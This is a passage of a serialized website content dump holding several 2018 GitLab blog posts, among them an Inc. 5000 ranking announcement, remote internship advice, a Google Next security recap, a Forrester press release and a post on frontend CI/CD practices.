companies\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2018-08-16\",\n      }",{"title":32529,"description":32524,"authors":32530,"heroImage":32525,"date":32511,"body":32531,"category":299,"tags":32532},"GitLab ranked 4th fastest-growing private software company on Inc. 5000 list of 2018's fastest growing companies",[711],"\nPop the champagne! GitLab is now one America's fastest-growing private companies, ranking as the 4th fastest-growing private software company (44th overall) on this year's [Inc. 5000 list](https://www.inc.com/inc5000/list/2018) with revenue growth of 6,213 percent over the past three years. This is the first year GitLab has appeared on Inc.'s 5000 list and we're happy to have such a strong showing.\n\n## Not just Git anymore\n\nWith humble beginnings as a simple Git repository manager, GitLab is now the only single application for the entire software development and operations lifecycle. Built on the philosophy that '[everyone can contribute](/company/mission/#mission),' GitLab allows product, engineering, quality assurance, operations, and security teams to work together at the same time in the same app, eliminating handoffs and bottlenecks and accelerating cycle time. From project planning and source code management, to CI/CD and monitoring, GitLab has everything businesses need for end-to-end [DevOps](/topics/devops/).\n\n## How we move so fast\n\nOur velocity of product innovation is largely thanks to our robust open source community of [more than 2,000 contributors](http://contributors.gitlab.com/). Our [open issue tracker](https://gitlab.com/gitlab-org/gitlab-ce/issues) allows anyone to comment on and contribute to the code we are co-creating with more than 100,000 organizations worldwide, including NASA, NASDAQ, Sony, and Bayer. This is just one of the ways we strive to live our [value of openness and transparency](https://handbook.gitlab.com/handbook/values/#transparency).\n\nOur customers are always telling us that they want to spend their engineering resources on writing code that makes money for the company instead of reinventing the wheel. By using GitLab they get to leverage the collective experience of over 100,000 organizations. They know they've got not only a great product today, but a strategic partner for the future. This collaborative spirit is how we're not only delivering new functionality fast (so fast, we're running out of space on the slide below 😁), but also shipping code that solves real-world problems, which accounts for the pace of our revenue growth.\n\n[![GitLab exponential rate of product development](https://about.gitlab.com/images/blogimages/gitlab-product-improvement-velocity.png)](/direction/)\n\nBeing on the Inc. 5000 list is an honor and a big milestone, but we're just getting started. We have no intention of slowing down as we look to build best-in-class functionality across every part of the DevOps lifecycle.\n\n#### About the Inc. 5000 list\n\nThis year's Inc. 5000 ranking system is based on the percentage of revenue growth qualifying companies saw from 2014 to 2017. For consideration, companies needed to be private, for-profit, independent and U.S.-based as of December 31, 2017. The companies must have also been incorporated by March 31, 2014 with a minimum revenue of $200,000 for that year and $2 million for 2017.\n",[736,815],{"slug":32534,"featured":6,"template":678},"gitlab-ranked-44-on-inc-5000-list","content:en-us:blog:gitlab-ranked-44-on-inc-5000-list.yml","Gitlab Ranked 44 On Inc 5000 List","en-us/blog/gitlab-ranked-44-on-inc-5000-list.yml","en-us/blog/gitlab-ranked-44-on-inc-5000-list",{"_path":32540,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32541,"content":32546,"config":32550,"_id":32552,"_type":16,"title":32553,"_source":17,"_file":32554,"_stem":32555,"_extension":20},"/en-us/blog/making-remote-internships-successful",{"title":32542,"description":32543,"ogTitle":32542,"ogDescription":32543,"noIndex":6,"ogImage":31060,"ogUrl":32544,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32544,"schema":32545},"How to make remote internships successful","Support Engineering Manager Lee Matos talks about pitfalls and successes in making remote internships work.","https://about.gitlab.com/blog/making-remote-internships-successful","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to make remote internships successful\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lee Matos\"}],\n        \"datePublished\": \"2018-08-16\",\n      }",{"title":32542,"description":32543,"authors":32547,"heroImage":31060,"date":32511,"body":32548,"category":299,"tags":32549},[19634],"\nBack in December I introduced you to [Support Engineering at GitLab](/blog/support-engineering-at-gitlab/). Now I'm excited to talk about my experiences – good and bad – with remote internships. I think remote internships can be a great thing but not without pitfalls. Let's dive in.\n\nAs I started to lead the GitLab Support team, [Collen](/company/team/#collenkriel), our first Support Engineering intern, was wrapping up his internship. We started to spend some time together when I realized Collen was doing great work, but we didn't have a clear definition of what it took to transition out of “intern” to “Junior.” This was not due to lack of management, it was because Collen was the first. We had never even thought about what it would look like to graduate! Lesson number 1:\n\n## 1. Clearly define success\n\nInternships are challenging when you don't know what you want the internship to be about, or what you want it to accomplish. I think it's vital that everyone involved knows what success is, and how close they are to it. It took a lot of time and effort for me and Collen to figure out what we'd mark as success. That made it even more stressful as we were both scrambling to make clear and actionable markers of success as his internship came to a close. It was a sign of Collen's skill and grace that we managed to define and execute those things with a ticking clock counting down. Once we knew what success was, Collen knocked it out of the park. Now, success is different for every team and person. Keep that in mind as you define it here for yourself, and your intern.\n\n### A second chance\n\nA few months later, we had an opportunity to hire [Chenje](/company/team/#ckatanda) as an intern and my number one goal was to improve that experience. For Chenje, he had a lot of drive and a few technical projects under his belt, but lacked experience with working in technical teams. We settled on three tasks as the definition of success for Chenje's internship:\n\n+ Deploy Omnibus HA and improve Documentation\n+ Pair on 25 ticket sessions\n+ Gain expertise in one or two expert subjects\n\nFor Chenje, success was defined as completing two of the three defined tasks. This gave him some freedom to plan and schedule, and even room to fail in the face of challenging tasks. This was important because it was meaningful work, but it was also important as a manager that I can understand how team members approach problems big and small.\n\n## 2. Set expectations\n\nSome of this advice is good for any internship – not just a remote one. But one of the unique challenges of a remote internship is the lack of facetime and potential delays in communication. Both Collen and Chenje are six hours ahead of me, so the time difference was definitely a factor here. With remote work, a lot of the inefficiencies of communication and workflow that are just accepted as part of office life are exposed. There's nowhere to hide.\n\n>With remote work, a lot of the inefficiencies of communication and workflow that are just accepted as part of office life are exposed\n\nIn addition to other internship challenges, we now add the element of time coordination, and knowing that your reports can't just walk over to your desk with a question. We have to be very explicit about connecting to make meaningful change happen. There's a tendency to want that to happen synchronously, but we have to figure out alternatives.\n\nI think setting the expectation that the intern should be ready and willing to ask questions was important. Instead of waiting for you to come rescue them, they'll also need to take initiative to snag time on your calendar if they're blocked, and on your end you need to make that time to help them out. With remote work you have to be willing to step forward; you can't wait on someone else to give you tasks or to check in if everything is going smoothly. It won't work at GitLab, and probably won't fly at other remote companies either.\n\n## 3. Avoid busywork\n\nI also made it clear to Chenje that I would not be giving him busywork and that he'd be able to make real contributions. One of the advantages of a remote internship is that there's no coffee to fetch, so busywork possibilities are limited. If you're managing an intern properly, you should consider them to be 1.5x an ordinary report. I thought about the things that I wanted to do but couldn't focus on and offered those to Chenje. I wanted to give him challenges that would result in work he could be proud of. If you're considering an intern to deal with the things you don't want to do, then you should reconsider. That's a recipe for a bad internship, and your intern won't want to work with your team afterwards.\n\n>If you're managing an intern properly, you should consider them to be 1.5x an ordinary report\n\nYour intern should be someone who you believe to be capable and competent, just missing experience. The dream of an internship is that you're developing somebody who will end up working for your organization. If you're not doing it for that reason, then what's the point?\n\n## 4. But don't throw them in the deep end either\n\nWe didn't push either Collen or Chenje to jump into interacting with customers straight away, to give them time to build up their comfort level, experience, and confidence. The initial goal was that the internship is skill-building period – a safe space. You don't want to overwhelm your intern by making them do everything. They're an intern for a reason.\n\n>The initial goal was that the internship is skill-building period – a safe space\n\n## 5. Give clear feedback on progress\n\nAs an intern, Chenje had full access to the team and myself as a lead. We have weekly 1:1s and we'd review his progress. Now, Collen, our first intern, had regular 1:1s with me, but because we didn't have a clear structure of the internship, we weren't using this time to its full potential. Being able to use our 1:1 time to understand and help Chenje overcome blockers and organize made his internship incredibly smooth. We knew what success was, we regularly tracked it, and we learned how to communicate it to each other.\n\nI'm extremely proud of the work that Collen and Chenje have done on our team and how they continue to excel in the face of two very different internship experiences. If you are running a remote team, or considering interns, these things helped me turn something that started out stressful into a recipe for success.\n",[7715,676,3798],{"slug":32551,"featured":6,"template":678},"making-remote-internships-successful","content:en-us:blog:making-remote-internships-successful.yml","Making Remote Internships Successful","en-us/blog/making-remote-internships-successful.yml","en-us/blog/making-remote-internships-successful",{"_path":32557,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32558,"content":32563,"config":32568,"_id":32570,"_type":16,"title":32571,"_source":17,"_file":32572,"_stem":32573,"_extension":20},"/en-us/blog/join-the-gitlab-community",{"title":32559,"description":32560,"ogTitle":32559,"ogDescription":32560,"noIndex":6,"ogImage":12013,"ogUrl":32561,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32561,"schema":32562},"Join the GitLab Code Contributor Community!","How we're working to make contributions easier and more rewarding for the GitLab community.","https://about.gitlab.com/blog/join-the-gitlab-community","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join the GitLab Code Contributor Community!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2018-08-13\",\n      }",{"title":32559,"description":32560,"authors":32564,"heroImage":12013,"date":32565,"body":32566,"category":813,"tags":32567},[21623],"2018-08-13","\nThere are [over 2,000 code contributors to GitLab](http://contributors.gitlab.com/) today and we want to welcome more contributors to the growing community.\n\nHaving been involved in other open source projects, I know how exciting it is to collaborate in an open community and work with passionate people from different parts of the world. I recently joined GitLab to work with our community of contributors, and I wanted to share a list of activities that I’m planning to help grow the community:\n\n## 1. Streamline onboarding documentations\n\nSo that it’d be easier for people to get started. There are already some initiatives on the way, such as this [merge request from a community member](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/20682).\n\n## 2. Proactively reach out to first-time contributors\n\nI want to start congratulating new contributors who successfully complete their first merge request. Stay tuned for new swag and opportunities to be paired with mentors who are experienced GitLab community members.\n\n## 3. Launch new blog post series\n\nSpeaking of experienced contributors, I’d like to highlight some of them with a new blog post series, since their experience working in the GitLab community will be helpful for new contributors. The first post features Core Team member [Vitaliy Klachkov](/blog/contributor-post-vitaliy/).\n\n## 4. Kick off Core Team meeting\n\nWe just kicked off a regular meeting with the [Core Team](/community/core-team/) to discuss topics of interest for the GitLab community. This recorded meeting will be open to anyone. The Core Team will also use [Service Desk](https://gitlab.com/gitlab-core-team/general/issues/service_desk) so that anyone in the community can view and participate in discussions.\n\nThanks for reading my blog post. Your feedback/questions are always welcome and you can reach me at rpaik@gitlab.com.\n\n## Interested in learning how you can contribute?\n\nA good place to start would be the [Contributing to GitLab page](/community/contribute/), where you can learn how you can contribute to GitLab code, documentation, and translation.\n",[267,2368,815],{"slug":32569,"featured":6,"template":678},"join-the-gitlab-community","content:en-us:blog:join-the-gitlab-community.yml","Join The Gitlab Community","en-us/blog/join-the-gitlab-community.yml","en-us/blog/join-the-gitlab-community",{"_path":32575,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32576,"content":32581,"config":32586,"_id":32588,"_type":16,"title":32589,"_source":17,"_file":32590,"_stem":32591,"_extension":20},"/en-us/blog/gitlab-auto-devops-in-action",{"title":32577,"description":32578,"ogTitle":32577,"ogDescription":32578,"noIndex":6,"ogImage":12569,"ogUrl":32579,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32579,"schema":32580},"GitLab Auto DevOps in action","See how the only single application for the entire DevOps lifecycle helps you deliver better software, faster.","https://about.gitlab.com/blog/gitlab-auto-devops-in-action","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Auto DevOps in action\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2018-08-10\",\n      }",{"title":32577,"description":32578,"authors":32582,"heroImage":12569,"date":32583,"body":32584,"category":734,"tags":32585},[29394],"2018-08-10","\n\nBetter and faster. These two words best describe the production goals of the IT leaders and engineers building today’s cutting-edge software. And GitLab [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) can help them hit those goals while improving their overall business outcomes.\n\nAs the only single application for the complete [DevOps](/topics/devops/) lifecycle, GitLab Auto DevOps gives development teams all the tools they need to deliver secure, high-quality software at previously unattainable speeds. The secret sauce that makes Auto DevOps so effective is the way it automatically sets up the required integrations and pipeline needed to get your software out of the door faster. With Auto DevOps, your code is automatically tested for quality, scanned for security vulnerabilities and licensing issues, packaged and then set up for monitoring and deployment, leaving engineers with time to place more attention on creating a better product.\n\nThis may all make sense in theory, but as they say, a picture is worth 1,000 words. And it is [rumored](https://idearocketanimation.com/4293-video-worth-1-million-words/?) that video is worth 1.8 million words. With that being said, why not take a look at GitLab Auto DevOps in action? \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/4Uo_QP9rSGM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nWant to learn more about GitLab Auto DevOps? Check out our [documentation](https://docs.gitlab.com/ee/topics/autodevops/), [feature](https://docs.gitlab.com/ee/topics/autodevops/) and [product vision](/direction/) pages.\n\n\nCover photo by [Ash Edmonds](https://unsplash.com/photos/Koxa-GX_5zs) on [Unsplash](https://unsplash.com/)\n{: .note}\n\n",[4103,676,942,1444,674,6962,754],{"slug":32587,"featured":6,"template":678},"gitlab-auto-devops-in-action","content:en-us:blog:gitlab-auto-devops-in-action.yml","Gitlab Auto Devops In Action","en-us/blog/gitlab-auto-devops-in-action.yml","en-us/blog/gitlab-auto-devops-in-action",{"_path":32593,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32594,"content":32600,"config":32605,"_id":32607,"_type":16,"title":32608,"_source":17,"_file":32609,"_stem":32610,"_extension":20},"/en-us/blog/google-next-2018-security-track-recap",{"title":32595,"description":32596,"ogTitle":32595,"ogDescription":32596,"noIndex":6,"ogImage":32597,"ogUrl":32598,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32598,"schema":32599},"Google Next 2018 security track recap","Here's how one GitLab team-member made the most of the security track at Google Next 2018.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678940/Blog/Hero%20Images/securitygooglenext.jpg","https://about.gitlab.com/blog/google-next-2018-security-track-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Google Next 2018 security track recap\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jim Thavisouk\"}],\n        \"datePublished\": \"2018-08-10\",\n      }",{"title":32595,"description":32596,"authors":32601,"heroImage":32597,"date":32583,"body":32603,"category":299,"tags":32604},[32602],"Jim Thavisouk","\nEvery time someone asks me how I like working at GitLab, I say, \"I love it here!\"\nWith our [company culture](https://handbook.gitlab.com/handbook/values/), 100 percent [remote workforce](/company/culture/all-remote/), and [growing team](/jobs/), it's a pleasure\nto work with such a high energy team.\nThe [security department](/handbook/security/#security-department)\nis continually growing -- very fast! We each have our own specialties and bring a diverse selection\nof strong experiences, while working very well together. In my position, I have\nbeen focusing very heavily on policy as code to raise the bar in security here at GitLab. This blog post was inspired by [William Chia](/company/team/#thewilliamchia)'s\n[Google Next 2018 recap](/blog/google-next-2018-recap/). If you haven't read it, I highly recommend it!\n\n## Security highlights of Google Next 2018\n\n### Forseti\n\nI was excited coming into this conference for [Forseti](https://forsetisecurity.org/),\nespecially with the announcement of\n[Forseti 2.0](https://forsetisecurity.org/news/2018/06/11/forseti-2.0-launch.html).\nWe had a [Forseti Hack Day](https://groups.google.com/a/forsetisecurity.org/forum/#!topic/announce/bHy8QCK_AY0)\nthat kicked off a day before the actual conference, which allowed me to interact\nwith Google engineers, product managers, and Forseti customers. For\nanyone who missed Forseti's session from [Chris Law](https://www.linkedin.com/in/chrislaw/),\n[Michael Capicotto](https://www.linkedin.com/in/mcapicotto/), and\n[Marten Van Wezel](https://www.linkedin.com/in/martenvanwezel/), you can check it out\n[the recording](https://www.youtube.com/watch?v=4TrlgbV_VlQ). See [the details for joining the discussion here](https://groups.google.com/a/forsetisecurity.org/forum/#!topic/announce/8OSAB7UEzSY).\n\n### Istio\n\n[\"Istio is platform-independent and designed to run in a variety of environments,\nincluding those spanning Cloud, on-premise, Kubernetes, Mesos, and more.\"](https://istio.io/docs/concepts/what-is-istio/)\nI'm excited to see Istio 1.0, which was just released a few days ago! See [the team's talk](https://youtu.be/eOI2aM9P7-c)\nfrom [Tao Li](https://www.linkedin.com/in/tao-li-1a447935/) and\n[Samrat Ray](https://www.linkedin.com/in/samratray/).\n\n### Best practices\n\nEveryone can use best practices. At Forseti Hack Day, I met [Tom Salmon](https://www.linkedin.com/in/tomcsalmon/)\nwho has vast experience in security. In his [talk](https://www.youtube.com/watch?v=ZQHoC0cR6Qw),\nhe provides a great knowledge base and reference point to best security practices in GCP.\n\n### Sessions are now live\n\nThese were only a few sessions at Google Next, and there are hundreds of others\nto check out. You can find them neatly categorized on\n[YouTube](https://www.youtube.com/channel/UCTMRxtyHoE3LPcrl-kT4AQQ/playlists?flow=grid&view=50&shelf_id=8).\n\n## We'd love to hear your feedback\n\nWe'd love to hear from you on how you use any of these products in your environment.\nOur team is currently working very closely with the Forseti team, and I'm sure they\nwould love to have you join in on the discussion as well. Don't hesitate to\nreach out directly to me by email (jthavisouk@gitlab.com) or join any of these groups to keep a dialogue going\nabout any of these products. We can only help each other in the process.\n",[277,923,3949,3049,2509,674],{"slug":32606,"featured":6,"template":678},"google-next-2018-security-track-recap","content:en-us:blog:google-next-2018-security-track-recap.yml","Google Next 2018 Security Track Recap","en-us/blog/google-next-2018-security-track-recap.yml","en-us/blog/google-next-2018-security-track-recap",{"_path":32612,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32613,"content":32618,"config":32622,"_id":32624,"_type":16,"title":32625,"_source":17,"_file":32626,"_stem":32627,"_extension":20},"/en-us/blog/gitlab-strong-performer-vsm",{"title":32614,"description":32615,"ogTitle":32614,"ogDescription":32615,"noIndex":6,"ogImage":6704,"ogUrl":32616,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32616,"schema":32617},"GitLab announced they’ve been recognized as a Strong Performer in “The Forrester New Wave™ for Value Stream Management Tools, Q3 2018","GitLab is best for companies that are looking for a broad, integrated solution","https://about.gitlab.com/blog/gitlab-strong-performer-vsm","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab announced they’ve been recognized as a Strong Performer in “The Forrester New Wave™ for Value Stream Management Tools, Q3 2018\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2018-08-09\",\n      }",{"title":32614,"description":32615,"authors":32619,"heroImage":6704,"date":32620,"body":32621,"category":299},[711],"2018-08-09","_GitLab is best for companies that are looking for a broad, integrated solution_\n\n**SAN FRANCISCO, CALIFORNIA – August 9, 2018 -** [GitLab Inc.](https://about.gitlab.com/), The DevOps Platform, announced they’ve been recognized as a Strong Performer in “The Forrester New Wave™ for Value Stream Management Tools, Q3 2018,” published today.\n\nRealizing the importance of tracking the flow of value in IT software delivery, Forrester has initiated coverage of the Value Stream Management tool market, and included GitLab in the results, observing “GitLab is best for companies that are looking for a broad, integrated solution.”\n\nAdditionally, Forrester notes that “GitLab combines end-to-end capability with the power of open source. GitLab offers a DevOps tool for each step of the software development process. Top-level views sitting across these tools provide its VSM functionalities.”\n\n“We think the recognition by Forrester as a Strong Performer in the emerging VSM market underscores our promise to deliver a single application for the DevOps lifecycle to streamline development among enterprise teams,” said GitLab CEO Sid Sijbrandij. “We’re dedicated to continuously improving GitLab so delivery teams can efficiently meet businesses software demands.”\n\nGitLab is a single application that supports the entire DevOps tool chain. As the software delivery system of record, GitLab’s cycle analytics and support for [value stream management](/solutions/value-stream-management/) helps enterprises accelerate software delivery. Forrester suggests in its report that “organizations that want a comprehensive VSM solution that can also serve as their DevOps tool chain will really appreciate GitLab.”\n\nForrester’s New Wave report evaluates emerging technologies by looking at organizations that have a VSM product with over 5 million in revenue, and a cohesive VSM solution, not disparate tools. The Q3 2018 report did not identify one sole leader, but recognized six vendors as strong performers, GitLab being one.\n\nGitLab helps organizations, ranging from Fortune 500 enterprises to one-person shops, embrace the power of the cloud by offering the most robust and only integrated modern software development lifecycle product. As the need for modern, collaborative solutions increase, enterprises including Comcast, Siemens, Ticketmaster, ING, NASDAQ, Alibaba, Bayer, NASA and Intel, have adopted GitLab to maintain pace with the demands of today’s work environment.\n\nSee [here](https://www.globenewswire.com/Tracker?data=gUzUuQysbGjYbkna-QElIpz94AT3oS9j-CEcLFjmgbLudqGb23LBOXhGOdyMryRtJNtUCNvkd7835KxbbSidJQ==) for more on GitLab’s VSM capabilities and illustrations of future VSM mapping and management capabilities.\n\n**About GitLab**\n\nGitLab is The DevOps platform that empowers organizations to maximize the overall return on software development by delivering software faster and efficiently, while strengthening security and compliance. GitLab’s single application is easier to use, leads to faster cycle time and allows visibility throughout and control over all stages of the DevOps lifecycle. With GitLab, every team in your organization can collaboratively plan, build, secure, and deploy software to drive business outcomes faster with complete transparency, consistency and traceability.\n\nBuilt on Open Source, GitLab works alongside its growing community, which is composed of thousands of developers and millions of users, to continuously deliver new DevOps innovations. GitLab has an estimated 30 million+ registered users (both Paid and Free) from startups to global enterprises, including Ticketmaster, Jaguar Land Rover, Nasdaq, Dish Network, and Comcast trust GitLab to deliver great software faster. All-remote since 2015, GitLab has more than 1,300 team members in over 65 countries.\n\n**Media Contact:**\n\nJennifer Leslie\n\u003Cbr>\nGitLab Inc.\n\u003Cbr>\n[press@gitlab.com](mailto:press@gitlab.com)",{"slug":32623,"featured":6,"template":678},"gitlab-strong-performer-vsm","content:en-us:blog:gitlab-strong-performer-vsm.yml","Gitlab Strong Performer Vsm","en-us/blog/gitlab-strong-performer-vsm.yml","en-us/blog/gitlab-strong-performer-vsm",{"_path":32629,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32630,"content":32636,"config":32641,"_id":32643,"_type":16,"title":32644,"_source":17,"_file":32645,"_stem":32646,"_extension":20},"/en-us/blog/how-devops-and-gitlab-cicd-enhance-a-frontend-workflow",{"title":32631,"description":32632,"ogTitle":32631,"ogDescription":32632,"noIndex":6,"ogImage":32633,"ogUrl":32634,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32634,"schema":32635},"How DevOps and GitLab CI/CD enhance a frontend workflow","The GitLab frontend team uses DevOps and CI/CD to ensure code consistency, fast delivery, and simple automation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679026/Blog/Hero%20Images/frontendworkflow.jpg","https://about.gitlab.com/blog/how-devops-and-gitlab-cicd-enhance-a-frontend-workflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How DevOps and GitLab CI/CD enhance a frontend workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"José Iván Vargas\"}],\n        \"datePublished\": \"2018-08-09\",\n      }",{"title":32631,"description":32632,"authors":32637,"heroImage":32633,"date":32620,"body":32639,"category":734,"tags":32640},[32638],"José Iván Vargas","\nIt might seem like a lot of what we do on frontend is to make our lives easier,\nbut what I’ve learned in the past two years as a GitLab team-member and a community contributor\nis that if we make our lives easier, we can make a lot of customers happier, too.\nOver the years, I’ve experienced many changes at GitLab, from a change in processes\nto an increase in team members. From an early stage, the frontend team has been\ncommitted to continuous improvements, but working in a rapidly growing team\nrequired an investment in the way we work.\n\nWhen I joined GitLab we still used some of the default conventions that the [Rails\nframework](/blog/upgrade-to-rails5/) recommended for the frontend, and it helped us for quite a while, but\nthe more code we touched, the more code we needed to test and build for\nperformance, making it more challenging for us to maintain. The frontend team\nrealized that we needed a way to facilitate code consistency, fast delivery, and\nsimple automation, so we decided to incorporate [DevOps](/topics/devops/) and\n[CI/CD](/solutions/continuous-integration/) into our workflow.\n\n## Frontend DevOps and CI/CD workflow\n\nWe used CI in a few scenarios, including using linters to help write a consistent\nstyle of code throughout GitLab, but in the case of our JavaScript code, we\nrealized that building for performance and maintainability was becoming\nincreasingly difficult. So, we moved away from the\n[asset pipeline and utilized webpack](/blog/vue-big-plan/),\nwhich has given us a series of benefits. For example,  when we develop locally,\ndebugging code is now a breeze, and the jobs that are frontend related run on\nproduction-bundled code, ensuring a testing environment that closely resembles\nthat of a user.\n\nAfter CI, we publish code using DevOps by hosting it with\n[GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/)). We’ve seen several projects benefit from\nadopting a DevOps model, including\n[GitLab SVG libraries](https://gitlab.com/gitlab-org/gitlab-svgs) and\n[Trello Power-Up](https://docs.gitlab.com/ee/integration/trello_power_up.html).\n\nWhen we created GitLab SVG libraries, we wanted to use them for ourselves and\nmake them available to the general public, so whenever we publish a new version,\nwe use GitLab Pages so that it’s fully automated every time.\n\nWith the Trello Power-Up plugin, we use DevOps to address compatibility\nissues when a new version of Trello is released. GitLab Pages makes it easy to\ndeploy a new version, in a fast and diligent manner, so that it’s accessible in\nthe Trello Marketplace as quickly as possible.\n\n## Frontend DevOps and Data-driven efforts\n\nIncorporating frontend DevOps and CI/CD into the workflow has had a significant\nimpact on efficiency and results. We have greater insight into our operations\nand have metrics to help us detect major areas of improvement. We set up\n[Sitespeed](https://www.sitespeed.io) using Kubernetes to analyze sets of pages\nand provide reports on anything that could hamper our users’ perceived\nperformance, from CSS and JavaScript bundle sizes to accessibility issues and\nthe render time differences between various points in time. The information we gathered using\nSitespeed has helped us improve the merge requests page and identify pages that\nrender slowly. Having more data has changed the way we approach problems at\nGitLab, because we are able to focus our efforts on specific areas.\n\n## The unexpected discovery of problems\n\nOne of the unexpected benefits of our workflow is the discovery of problems that\nwe may not have identified.\n\n### A lack of automation\n\nWe realized, for example, that we lack some automation in our tools. For\ninstance, every time we didn’t format code in a specific way, our linter\nnotified us, but analyzing and fixing the code slowed down developer velocity,\nso we decided to add [Prettier](https://prettier.io/) to format our code in our\nmerge requests for us. We also realized that, sometimes, we need a little bit of\nautomation when we publish code. As an all-remote company, many of us work on\npublic WiFi, and we found that unreliable connections could have detrimental\neffects while deploying code. The combination of CI and DevOps made deployments\neasier. If we triggered a pipeline and a coffee shop WiFi goes vamoose, it\ndoesn't matter. We already automated a significant part of our development\nprocess, but we’re always striving for more.\n\n### A lack of speed\n\nIn the case of CI, we noticed that our own tools can be a source of problems. We\nfound that we didn’t make the necessary considerations to keep our test suite fast.\nAs developers, we want to go back to developing as fast as possible. A few of my\nteammates discovered that our test runs were becoming slower and slower with each\nrelease. Even though these are not customer-facing changes, it has made both\nproduct managers and team managers consider investing in those issues, because\nthe easier the development cycle is for the developers involved, the better it\nis for our customers, since we can deliver even more features. Furthermore, we\ncan prevent regressions from happening by having solid foundations, such as\ntesting, code style, and code formatting.\n\nEvery time we discover problems that affect us or our work, we realize that we\ncan also jeopardize the features and experiences we want to deliver to our\ncustomers. It has changed the culture inside the team, because we view\nperformance issues as developers rather than as GitLab team-members.\n\n## Advice to frontend teams\n\nUsing DevOps and CI/CD in a frontend workflow is compatible with teams of any\nsize, including small teams that may want to ensure that their code styling is\nthe same.\n\n### Put a linter in place\n\nWith CI, the smallest and perhaps one of the most significant steps is\nto put a linter in place, and if the pipeline doesn't pass, you can’t merge the\ncode. That's such a simple, effective way to improve your code and to keep it\ntidy and clean in the long run. Just setting up some simple steps using CI will\nimprove your team’s code and your developers’ quality of life so that they don't\nhave to worry about combing through past code. Even though small teams might not\nfind the value in the short term, when they scale, they certainly will.\n\n### Create consistent scenarios\n\nThe bigger the project, the more you realize that some of your tooling ends up\nrunning locally, and it's beneficial to run it on CI. If something doesn't work\non a generic type of machine that has enough dependencies installed to run your\nCI setup, that means there’s something wrong and that you should probably fix it\nbefore merging your code. As long as you can create a consistent scenario in which\nyou can do things like testing and linting, you should be in a good position to\ndeliver a great product.\n\n### Select CI-compatible tools\n\nFor teams of all sizes, it’s important that the tools you select as part of your\nworkflow are compatible with CI in some way, so that even if you had a big part\nof your workflow running locally, you can easily move to CI by creating a pipeline\nthat resembles that of your daily workflow. Regardless of the tool that you choose,\ncreating a job for it will return a lot of value in the long run. If it makes\nsense, I encourage you to add it, because there’s very little incentive not to.\nCI-compatible tools include tests runners, linters, Prettier, or any custom-made\ntools that help you in some way. One decision you might want to avoid is creating\non servers that live on CI runners. Since they only run for a limited amount of\ntime, these servers will stop existing. You could also add deployments to your\nCI workflow, helping you with DevOps and preventing you from worrying about\ncomplicated local setups for new developers. The possibilities are huge.\n\n### Add performance testing\n\nTo add to the pool of possibilities, why not add performance testing to your\nmerge requests with a tool such as\n[Lighthouse](https://developers.google.com/web/tools/lighthouse/), which can\nhelp you understand potential performance bottlenecks in your website. Or, maybe\nyour team can add the ability to generate code documentation and publish it via\nGitLab Pages. CI/CD can be a really good tool, because it will return something\nimmediately. It's just a matter of how you want to use it, depending on your needs.\n\nThe more the frontend team uses CI and DevOps, the more we discover ways to use\nit, so it’s worth it to us to invest in this tool.\n\nSometimes, we just want to\nget stuff out there without too much consideration for tooling and CI and CD,\nbut because of the benefits we’ve experienced, we now include CI/CD in all of\nour projects. With GitLab, everything is integrated, so why skip it? Instead of\nfighting against automation, I encourage teams to embrace the idea that CI is\nthere to help you.\n\n[Cover image](https://unsplash.com/photos/UbGqwmzQqZM) by\n[Zhipeng Ya](https://unsplash.com/photos/UbGqwmzQqZM?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText), licensed\nunder [CC X](https://unsplash.com/license).\n{: .note}\n",[11037,1444,1384,4103],{"slug":32642,"featured":6,"template":678},"how-devops-and-gitlab-cicd-enhance-a-frontend-workflow","content:en-us:blog:how-devops-and-gitlab-cicd-enhance-a-frontend-workflow.yml","How Devops And Gitlab Cicd Enhance A Frontend 